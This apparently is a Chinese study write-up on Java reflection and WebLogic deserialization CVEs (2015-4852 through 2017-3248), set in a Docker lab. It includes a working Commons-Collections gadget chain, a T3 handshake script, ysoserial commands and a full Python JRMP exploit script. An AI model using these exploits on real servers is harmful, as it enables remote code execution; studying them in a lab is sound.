JAVA
基础学个基础先
java
的面向对象编程或许可以类比为一个
struct
我们以一个手机为例,手机作为整体即是一个对象
1
public class phone{}
而手机所具有的特点即是其属性
1
2
3
4public class phone{
public String name;
public double weight;
}而为了使“手机”这个概念具象化,即由存于定义变为实际存在,我们需要构造器
1
2
3
4
5
6
7
8
9public class phone{
public String name;
public double weight;
public phone(){}//无参数构造器,系统会自动帮忙声明,所以这一行可以不写
public phone(String name,double weight){//有参数构造器,实例化对象时方便对其赋值
this.name=name;
this.weight=weight;
}
}再随意写入一个函数
1
2
3
4
5
6
7
8
9
10
11
12
13package test1;
public class phone{
public String name;
public double weight;
public phone(){}//无参数构造器,系统会自动帮忙声明,所以这一行可以不写
public phone(String name,double weight){//有参数构造器,实例化对象时方便对其赋值
this.name=name;
this.weight=weight;
}
public void start(){
System.out.println("Power on");
}
}如此就完成了一个对象的定义,现在需要创建该对象,或者说,实例化这个类
1
2
3
4
5public class test{
public static void main(String[] args){
phone p=new phone();//new一个名为p,类型为phone的对象
}
}java
反射机制正射
通常来说,我们在实例化一个类时,我们需要知道其类型
phone
,才能写出实例化代码1
phone p=phone();
反射
顾名思义,我们可以借助函数来得到对象
p
的类phone
,再用函数进一步操作类的私有属性获取类
.getclass()
如果上文中存在所需类的某个实例
p
,那么可以调用p.getClass()
来获取其的类.class
调用类的
class
属性可获取该类对应的对象,即使用phone.class
.forname()
使用了
class
类中的静态方法1
2
3
4phone p=new phone();
Class class1=p.getClass();
Class class2=phone.class;
Class class3=Class.forName("phone");//所填的是类所在包名.类名,但这里没有放到包里,所以只写了类名类的函数
获取想要操作的类的
Class
对象class1
后,通过Class
类的函数可以查看该类的信息并进行操作实例化对象
Object
获取1
2
3
4Object p1=class1.newInstance();
//或者
Constuctor cons=class1.getConstructor();
Object p2=cons.newInstancec();两者区别在于,后者可以用来调用含参数的构造器。
newInstance
函数需要类中存在无参构造器,当不存在时,只能用后者1
2Constructor cons=class1.getConstructor(String.class,double.class);
Object p2=cons.newInstance(value1,value2);//value1,2即是赋给p2的两个属性的值类的构造器
Constructor
获取1
2
3
4
5
6
7
8//获取public构造器
Constructor cons=class1.getConstructor();//当然,这里也可以获取含参数构造器
//获取全部public构造器
Constructor[] cons=class1.getConstructors();//构造器可能不止一个,所以用数组
//获取public与private类型的构造器
Constructor cons=class1.getDeclaredConstructor();
//获取全部构造器
Constructor[] cons=class1.getDeclaredConstructors();获取属性
field
1
2
3
4
5//同上,获取的是public/全部属性
Field f=class1.getField("name");
Field f2=class1.getDeclaredField("name");
Field[] f3=class1.getFields();
Field[] f4=class1.geDeclaredFields();获取方法
Methods
1
2
3//继续同上
Method m=class1.getMethod("setName", String.class); //两个参数,后面要传入的是方法形参的类型的原型,无参函数就不用填
//剩下的略
Runtime
类java
中的一个系统类,通常写作java.lang.Runtime
,其封装了应用程序运行时的环境,但我们只需要关注其中最重要的那个:1
exec(String cmd); //在单独的进程中执行指定的命令或程序。
这个明显可以用来命令执行,利用反射弹个
calc
:1
2
3
4
5
6Class p = Class.forName("java.lang.Runtime");//定义一个类与系统类 runtime 相同的类p,那么对于runtime可执行的函数,p也可执行。相当于复制一个 java.lang.runtime 为 p
Constructor constructor = p.getDeclaredConstructor(); // 调用系统类里定义的一个私有构造器
constructor.setAccessible(true); // 修改构造器作用域,使外面可以访问到
Method m = p.getMethod("exec", String.class); // 获取exec方法
Object o = constructor.newInstance(); //弄一个与系统类相同的对象出来,方便后面
m.invoke(o, "calc"); // 调用exec方法,执行calc命令
基于反射的
invoke
方法对于一般的对象
A
,我们常使用A.getA()
来调用其getA()
方法而
invoke
采取一种新的调用方式:构建一个
Method
对象methodA
,给其所需要的对象和参数以用其代替你要使用的方法也就是说,在未知条件下,可以调用替代任何方法并根据条件决定调用对象和方法
注解与元注解
注解用于对程序代码说明,但不同于注释的是,其能向编译器提供关于程序代码的附加信息,可在编译运行时被读取或使用,以及可以影响编译器的行为。
其可以用于类,方法,字段等元素上,例:
1
2
3
4
public void oldMethod{
...
}标记了一个过时的方法,在接下来的代码中,若有使用
oldMethod
的代码,编译器会给出警告1
2
3
4
public void someMethod() {
...
}使编译器不给出警告信息
元注解则是注解的注解,以马上要用到的
@Target
为例,其用于指定注解可以应用的元素类型(方法/类/等)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public MyAnnotation{
//关于类型为注解,名称为 MyAnnotation 的注解的定义,其被Target限制为只能注解 Method
}
public MyClassAnnotation{
//类型为注解,名称为 MyClassAnnotation 的注解,其被 Target 限制为只能注解 class
}
public class myclass{
public void MyMethod{
...
}
}语法糖
当注解中只有一个成员变量,并且该成员名称为
value
时,可以用value
语法糖简化注解使用:1
2
3
4
5
6
7public MyAnnotation{
string value();
}
public class MyClass{
...
}自定义注解
MyAnnotation
中只有value
一个成员变量,使用语法糖能直接在使用注解提供值,即使用该注解时将hello
作为值传给value
成员变量再看一个跟这个题目有关的:
1
2
3
4
5
6
7
8
public Target {
ElementType[] value() default {};
}
public MyAnnotation {
...
}第一个
Target
规定了第二个Target
能注解的变量类型,且其存在名为value
的数组中第二段语句
Target
的参数即在value
中,规定了MyAnnotation
只能注解Element.TYPE
和Element.FIELD
CVE-2015-4852
漏洞浅析环境搭建
docker
笔者使用的是
Ubutun+docker
。在vulhub/weblogic
下新建一个名为CVE-2015-4852
的文件夹方便操作,然后写入以下配置文件docker-compose.yml
1
2
3
4
5
6
7version: '2'
services:
weblogic:
build: .
ports:
- "7001:7001"
- "8453:8453"DockerFile
1
2
3
4
5
6
7
8from vulhub/weblogic:10.3.6.0-2017
ENV debugFlag true
EXPOSE 7001
EXPOSE 8453
CMD ["/bin/sh","-c","while true;do echo 1;sleep 10;done"]随后更新
docker-compose up -d
,用docker exec -it [docker_id] bash
进入docker
目录修改~/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh
在其前方加入
1
2debugFlag="true"
export debugFlag随后重启容器,并把容器目录下的
root
复制出来1
docker cp [docker_id]:/root [your_path]
后传到你的主机上
idea
用
idea
打开/root/Oracle/Middleware/wlserver_10.3
然后去
Project structure-Libraries
添加/server/modules
文件夹以及/wlserver_10.3/server/lib/weblogic.jar
以进行反编译再去
Project structure-Project
jdk
选择刚刚拷出来的jdk
然后去右上角
add Configuration
加入remote
服务器,如果刚刚配置的时候没有改调试端口的话这里是8453
最后去
/wlserver_10.3/server/lib/weblogic.jar!/weblogic/wsee/jaxws/WLSServletAdapter.class
的第129
行下断点,运行debug
访问网站
http://127.0.0.1:7001/wls-wsat/CoordinatorPortType
看看是否被断下
利用链分析
前言
反序列化攻击的实现,往往需要将
payload
构造为多层的exp
进入服务端的readobject
函数,其会反序列化恢复构造的exp
来生成exp'
,在接下来的流程中存在可以执行exp'
类的方法,不断处理得到最终的payload
,最后其进入可执行任意命令的函数也就是说,我们需要构造以下:
- 朴素的
payload
,即需要服务器执行的代码 - 一条反序列化链,沿着这条链可以逐渐解码包裹起来的
payload
readObject
重写点,即服务器端存在的,与漏洞链相连接的且可以从外部访问到的一个方法
- 朴素的
反序列化链构造
将其细分为 $3$ 段,从 $1-3$ 的顺序构造,服务端从 $3-1$ 进行执行。
段 $1$
我们最终的目的是命令执行,即调用
exec()
函数这里主要使用的是
InvokerTransformer
类及其transform
方法注意到
transform
方法会用反射机制调用输入的input
的method
函数,而Invokertransform
类的三个参数全部可由输入控制所以只要控制
transform
方法的input
变量是一个Runtime
的Class
实例,就可以成功调用即执行了Runtime.getRuntime().exec("calc");
写一个实验如下:
1
2
3
4
5
6
7
8import org.apache.commons.collections4.functors.InvokerTransformer;
public class InvokerTransformerTest{
public static void main(String[] args){
InvokerTransformer InvokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")});//变量赋值
InvokerTransformer.transform(Runtime.getRuntime());//得到runtime类
}
}对于新学
java
的这里有一点要注意的,如果是 ${vscode}$ 的话,这个外部库去apache下载后,用extentsion pack for java
,然后在JAVA PROJECT
下面的Referenced Libraries
添加下载的库。注意引入库的版本要和下载的对应但不幸的是,
CC
里面并不能直接使用InvokerTransformer.transform
,也就是说得不到RunTime
类,那么现在需要找到利用链的上一级,其需要调用该方法这里就需要
ChainedTransformer
CC4
(上) 可能和网上常见的CC3
(下) 不太一样,但理解成正常for
循环和用auto
的循环就行这个类以一个
Transformer
数组为变量,其transform
方法是对每个Transformer
调用其自己的transform
方法但注意最开始传入的参数
object
会被其迭代,这对链的构造十分有利现在我们解决的
transform
方法的问题,getRunTime
可以由RunTime
类获取。回顾我们需要构造的链Runtime.getRuntime().exec("calc");
。只要获取到RunTime
类就可以完成段 $1$ 的构造但是
RunTime
对象不能像普通对象一样直接声明,那么就需要性质很好的ConstantTransformer
其
transform
方法返回值都是iConstant
。那么只要让一个
RunTime
类为iConstant
即可得到RunTime
类,再结合刚刚的ChainedTransformer
就可以获取到链的第一截RunTime
,然后去InvokerTransformer
的transform
方法调用getMethod()
得到第二截getRunTime()
,最后再用其调用exec()
即能得到整条链由于
ChainedTransformer
参数object
的优秀迭代机制,只需要让另外几个以此放在Transform[]
类数组里面即可1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.Transformer;
public class test_part1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers_exec=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chain=new ChainedTransformer(transformers_exec);
chain.transform(1);
}
}如此就成功构造出了链的第一部分
Runtime.getRuntime.exec("calc")
回顾一下调用栈
1
2
3
4
5
6
7
8
9
10
11ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()那么我们现在只需要找到一处调用了
ConstantTransformer.transform
的地方即可。由于其所需参数任意,所以这里分为第一段段 $2$
一般来说是找不到严格相同的
ConstantTransformer.transform
,但我们退而求其次,找xxx.transform
方法,且xxx
可被赋值为ConstantTransformer
类型对象根据资料,这里有两条路可以走:
TransformedMap
与LazyMap
,但顾名思义,我懒,所以没有LazyMap
的笔记其中这三个函数调用了其
transform
方法,也就是构造valueTransformer
或keyTransformer
为刚刚构造的ChainedTransformer
类型对象,然后触发这三个函数来触发trnsform
方法即可。需要分两步:先赋值,再调用但实际上只能让
valueTransformer
为反序列化构造链,因为只有其在后面能被调用到,但这是过会要考虑的问题但这几个方法都是
protected
,也就是无法从外部访问。那么考虑找public
类型入手:transformedMap
类型:transformingMap
方法则是可以调用构造函数赋值内部参数如果是
CC3
版本的话,这里是decorate
方法可以发现构造方法
transformingMap
需要满足的条件是第一个参数是Map
类型,那么随便建一个map
就行,如此就赋值成功了1
2
3HashMap tmpMap=new HashMap();
tmpMap.put("nothinghere","qwq");
Map ChainMap=TransformedMap.transformingMap(tmpMap,null,chain);//chain即是上面构造的 ChainedTransformer中途可以验证一下
找到一个性质很好的
put
方法,其可以从外部访问且能调用上面三个隐私函数之一的transformKey
。由
transformKey
可知,只要参数KeyTransformer
不为空即可调用transform
方法,那么随便传几个进去试试:1
ChainMap.put("justfor","test");
成功调出计算器,也就是赋值操作是没问题的,
那么接下来考虑如何让系统自动触发
Map
类型中valueTransformer
参数transform
方法(即刚刚构造的链条所在位置),即调用valueTransformer.transform()
,显然这里的参数无关紧要所以最后要落脚到一个读入数据后主动触发的类,即
ReadObject
类先搜索找到调用函数
checkSetValue
:点进去看下谁能调用它:
到其父类
AbstractInputCheckedMapDecorator
中也就是现在需要一个
Map.entry
类且需要调用Map.entry.setValue()
参数依旧不重要还是经典的赋值+调用
先看赋值,要将原来的
TransformedMap
类转为Map.Entry
类而
TransformedMap
也是Map
,Map.entry
是一个键对值<key,value>
的集合也就是从
Map
中提取键对值的方法用在TransformedMap
上,并将其赋值给Map.entry
即可,顺便手动调用一下SetValue
方法试一下1
2Map.Entry entry=(Map.Entry) ChainMap.entrySet().iterator().next();
entry.setValue("qwq");在这里分个段清晰一些,回顾一下反序列化链;
1
2
3
4
5
6
7
8
9
10
11
12
13Map.entry.setValue()
TransformedMap.put()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()段 $3$
在开始前,确保版本为
jdk1.6
因为这里使用
AnnotationInvocationHandler
类来解决调用函数的问题,其在jdk1.8
被重写了它在
JRE System Library-rt.jar-sun.reflect.annotation.AnnotationInvocationHandler
里观察到
var5
存在setvalue()
方法的调用,恰巧的是,其构造过程与上面的entry
一模一样:1
2Map.Entry entry=(Map.Entry) ChainMap.entrySet().iterator().next();
var5=this.memberValue.entrySet().iterator().next();那么
payload
转而写成:1
2
3
4
5//Map.Entry entry=(Map.Entry) ChainMap.entrySet().iterator().next(); 已经不需要这个了
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);//反射机制调用AnnotationInvocationHandler类的构造函数
ctor.setAccessible(true);//取消构造函数修饰符限制
Object instance = ctor.newInstance(Target.class, ChainMap);//获取AnnotationInvocationHandler类实例而前面定义的
memberValues
恰好是map
类型,将其赋值成transformedMap
即可满足var5
即是entry
但想进到判断里还需要满足几个条件:
transformedMap
非空:var4.hasNext()
检查了memberValues
的EntrySet
的迭代器var7!=null
:var7
的生成过程比较复杂,上面已经标出来了这里需要注意的是
var2
的生成过程AnnotationType.getInstance(this.type)
,this.type
即是上面传进去的Target.class
而
var7
非空是很难构造的。而这个涉及到java
的注解与value
语法糖,最上面有写,跳到上面看一下再回来1
var2 = AnnotationType.getInstance(this.type);
getInstance
得到我们传进去的注解的基本信息,这里就以传进去了Target.class
为例:1
Map var3 = var2.memberTypes();
memberType
得到注解中的成员变量,其返回值为Map
类型,键为成员变量名称,值为成员变量类型这个时候选择传入
this.type
为Target.class
的原因就能看出来了:看java.lang.annotation.Target
的定义:1
2
3
4
5
6//会被写入javadoc文档
//生命周期时运行时
//标明注解可以用于注解声明(应用于另一个注解上)
public Target {
ElementType[] value();//value语法糖
}也就是说,对于
Target
注解,其成员变量名称总为value
那么
var3
即为键值对<value,[ElementType]>
1
Class var7 = (Class)var3.get(var6);
这时候再来看
var7
的生成式,只需要满足var6
中有Map
的键为value
,值任意即可对
var6
的来源回溯上去,即是让tmpmap
中存有键为value
即可就是将
1
2HashMap tmpMap=new HashMap();
tmpMap.put("nothinghere","qwq");改为
1
2HashMap tmpMap=new HashMap();
tmpMap.put("value","qwq");至此利用链完毕,回顾一下整条链子:
1
2
3
4
5
6
7
8
9
10
11
12
13
14AnnotationInvocationHandler.readObject()
Map.entry.setValue()
TransformedMap.put()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()payload
为1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35import org.apache.commons.collections4.*;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections4.Transformer;
public class test_part1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chain = new ChainedTransformer(transformers_exec);
// chain.transform(1);
HashMap tmpMap=new HashMap();
tmpMap.put("value","qwq");
Map ChainMap=TransformedMap.transformingMap(tmpMap,null,chain);
// ChainMap.put("justfor","test");
// Map.Entry entry=(Map.Entry) ChainMap.entrySet().iterator().next();
// entry.setValue("qwq");
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, ChainMap);
}
}
上传
可以加上这段代码在本地模拟上传试一下:
1
2
3
4
5
6
7
8
9
10
11//payload序列化写入文件,模拟网络传输
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(instance);
//服务端读取文件,反序列化,模拟网络传输
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
//服务端反序列化
fin.readObject();T3协议分析
用
python
模拟握手包的发包,wireshark
抓一下,追踪TCP
流1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16import socket
def T3Test(ip,port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" #请求包的头
sock.sendall(handshake.encode())
while True:
data = sock.recv(1024)
print(data.decode())
if __name__ == "__main__":
ip = "192.168.19.131"
port = 7001
T3Test(ip,port)再看一下网上的资料,握手包结束后是序列化的
java
数据流前面提到过
aced 0005
是序列化的标志,那么为了执行payload
,抓下协议包,将数据改为构造的payload
即可
CVE-2016-0638
浅析原理
在上一个漏洞爆出后,
Oracle
对weblogic
发布了补丁,将以下 $5$ 个函数加入黑名单:1
2
3
4
5
6org.apache.commons.collections.functors*
com.sun.org.apache.xalan.internal.xsltc.trax*
javassist*
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.ConversionHandler
org.codehaus.groovy.runtime.MethodClosure并且在
CVE-2015-4852
中三个反序列化的地方进行了黑名单判定:1
2
3weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class而
CVE-2015-4852
段 $3$ 用到的AnnotationInvocationHandler
类通过InboundMsgAbbrev#readObject
反序列化时会调用到ServerChannelInputStream#resolveClass
,也就是黑名单的检测所在的位置如图,在
wlserver.server.lib.wlthint3client.jar.weblogic.rjvm.inboundMsgAbbrev
中:这里的思路是:找到一个类将恶意链包裹起来(二次序列化)以通过黑名单检测,随后再将其解开(黑名单检测后的反序列化),再执行恶意链(该类自己的readobject方法二次反序列化)
也就是
wlserver.server.lib.wlthint3client.jar.weblogic.jms.common.StreamMessageImpl
类以及其中的External()
方法该方法执行时,反序列化传入的参数并调用参数反序列化后对应类的
readObject
方法使用该类的具体原理是:对于原本构造好、需要反序列化来执行的链子,封装进
StreamMessageImpl
并对其序列化。反序列化时该类不在黑名单中所以不被过滤,其调用readObject
方法时对之前封装的链子再次反序列化测试
用 weblogic_cmd 来测试一下:
扔到
idea
里面,配置一下:应用实参这一行参数可以自己改,
-C
后面即是payload
由于版本问题,这里用
jdk1.8
启动,需要额外配置两个库的位置:直接断点在
StreamMessageImpl.readExternal
:看眼
var4
显然是反序列化的数据继续跟踪
var5
的readObject
就能回到熟悉的AnnotationInvocationHandler
了
CVE-2016-3510
具体原理与上一个一样,只不过这个利用了
weblogic.corba.utils.MarshalledObject
类而非StreamMessageImpl
来封装链子以绕过黑名单检测调试
还是使用刚刚的
weblogic_cmd
,Main
这里把Type
改成marshall
调试看一下构造过程:
在这里用熟悉的
CC
链构造payload
,传给serialData
,而blindExecutePayloadTransformerChain
主要是返回利用链的Transform[]
数组内容,所以跟踪serialData
前面还是经典的
Lazy
序列化,重点是断点这一行到
MarshalleObject
看下:var3
是一个new
的MarshalledObject.MarshalledObjectOutputStream
对象:而这个对象继承了
ObjectOutputStream
对象,还调用了父类的构造器super
再继续看
MarshalledObject
var1
是恶意构造的AnnotationInvocationHandler
对象,将其序列化后写入ByteArrayOutputStream
对象的var2
中,又被写给MarshelledObject
对象的this.objBytes
中 ,然后对其序列化操作
CVE-2017-3248
随着时间推移,
weblogic
系列漏洞似乎正在向底层延伸。快进到发展到二进制层面然后彻底学不会原理
不同于上面两种利用其他类恶意链“加壳”的方式绕过黑名单检测,这里找到了一条不在黑名单内的全新反序列化点,利用
JRMP
协议执行反序列化JRMP
与RMI
简述RMI
远程方法调用,可以让在某个java
虚拟机上的对象像调用本地对象一样调用另一java
虚拟机上对象整个过程简述为:客户对象(client)调用客户端辅助对象(stub)上的方法,辅助对象打包变量与方法名发送给服务端辅助对象(skeleton),解包后找到真正的调用对象(server)并调用,得到返回值并原路返回给客户端对象
也就是说,对于客户对象
client
来说,其不需知道server
的存在,就好像是stub
在本地执行了其所需的方法将
stub
与skeleton
看作是RMIRegister
,整个过程中clinet
和server
与之的参数交流是以序列化字节流的格式传输的,为攻击提供了可能RMI
依赖于IP
和端口,以及JRMP
java
远程信息交换协议,其要求客户端与服务端都使用java
对象原理2
利用
RMI
让靶机反序列化UnicastRef
类,其给恶意服务端发起一个JRMP
连接,在DGC
层造成一个反序列化,于是可以绕过黑名单过滤正常情况下在
DGC
层,client
调用一个远程对象时需要调用server
的dirty()
函数,此函数给client
返回一个lease
而在攻击情况下,靶机向攻击者架设的
JRMP Server
发起dirty()
请求,而此时返回的是序列化后的数据,靶机接收后执行反序列化进而触发漏洞而构造的数据和前几个没什么区别
工具的原理
配置参数如下
JRMPListener
,即上图中的JRMP Server
其负责对发起
DGC
请求的RMI Register
返回一个恶意对象供其反序列化跟进
makePayloadObject
这里一步步跟过去就会发现用的反序列化链子跟
cve-2015-4852
一模一样随后会进入
run()
函数持续监听如果接到了类型为
DGC
的请求,则发送payload
JRMPClient
,即上图的attacker
负责让靶机向
JRMP Listener
发起DGC
请求
复现
照例
docker
启动靶机然后用
ysoserial
启动一个JRMP Listener
1
java -cp [path-to-ysoserial] ysoserial.exploit.JRMPListener [JRMP port] CommonsCollections1 '[command]'
再用
python2
运行一个脚本,其利用ysoserial
的JRMP Client
模块生成一个gadgets
对象,被靶机反序列化后会连接刚架设的JRMP Listener
1
python 1.py [docker-ip] [docker-port] [path-to-ysoserial] [JRMPListener-ip] [JRMPListener-port] JRMPClient
值得注意的是,两个脚本可以不在同一台机器上运行,但要保证
py
脚本所在虚拟机也有一个ysoserial
以便生成payload
。这里省事将两个脚本放在同一目录下方便访问
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82from __future__ import print_function
import binascii
import os
import socket
import sys
import time
def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
#generates ysoserial payload
command = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port)
print("command: " + command)
os.system(command)
bin_file = open('payload.out','rb').read()
return binascii.hexlify(bin_file)
def t3_handshake(sock, server_addr): #T3协议连接,在2015-4852有写到
sock.connect(server_addr)
sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
time.sleep(1)
sock.recv(1024)
print('handshake successful')
def build_t3_request_object(sock, port):
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
data3 = '1a7727000d3234322e323134'
data4 = '2e312e32353461863d1d0000000078'
for d in [data1,data2,data3,data4]:
sock.send(d.decode('hex'))
time.sleep(2)
print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))
def send_payload_objdata(sock, data):
payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
payload+=data
payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
sock.send(payload.decode('hex'))
time.sleep(2)
sock.send(payload.decode('hex'))
res = ''
try:
while True:
res += sock.recv(4096)
time.sleep(0.1)
except Exception:
pass
return res
def exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(65)
server_addr = (dip, dport)
t3_handshake(sock, server_addr)
build_t3_request_object(sock, dport)
payload = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
print("payload: " + payload)
rs=send_payload_objdata(sock, payload)
print('response: ' + rs)
print('exploit completed!')
if __name__=="__main__":
#check for args, print usage if incorrect
if len(sys.argv) != 7:
print('\nUsage:\nexploit.py [victim ip] [victim port] [path to ysoserial] '
'[JRMPListener ip] [JRMPListener port] [JRMPClient]\n')
sys.exit()
dip = sys.argv[1]
dport = int(sys.argv[2])
path_ysoserial = sys.argv[3]
jrmp_listener_ip = sys.argv[4]
jrmp_listener_port = sys.argv[5]
jrmp_client = sys.argv[6]
exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)再回来看
JRMP Listener
的监听调试
版本没调对,调试好几次没东西,放篇文章在这里膜一膜再说
